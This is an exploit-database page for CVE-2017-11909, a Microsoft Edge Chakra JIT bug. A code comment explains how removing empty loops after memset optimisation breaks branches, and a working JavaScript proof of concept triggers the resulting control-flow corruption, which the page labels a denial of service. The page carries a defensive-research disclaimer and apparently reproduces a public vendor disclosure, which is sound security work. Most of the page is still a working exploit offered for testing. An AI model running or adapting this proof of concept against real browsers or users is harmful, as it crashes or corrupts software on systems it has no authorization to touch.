Materialized exploit

CVE-2017-11909

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
The optimizations for memory operations may leave empty loops as follows:

for (let i = 0; i < arr.length; i++) {
    arr[i] = 0;
}

Becomes:

Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
    // empty!
}

These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.

Here's what may happen.

A:
Memset(arr, 0, arr.length);

for (let i = 0; i < arr.length; i++) {

}
goto D;  // Actually, this's a "BrGe_I4" instruction in the PoC.

C:
...

D:
...

Becomes:

A:
Memset(arr, 0, arr.length);

C:
...

D:
...

So, this may break the control flow.


PoC:
*/

function opt(a, b, always_true = true) {
    a[0] = 1234;
    b[0] = 0;

    let arr = a;
    if (always_true) {
        arr = b;
        for (let i = 0; i < arr.length; i++)
            arr[i] = 0;
    }

    let val = arr[0];
    if (val) {
        print(val);  // Must be 0, but prints out 1234
        return true;
    }

    return false;
}

let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
    if (opt(a, b)) {
        break;
    }
}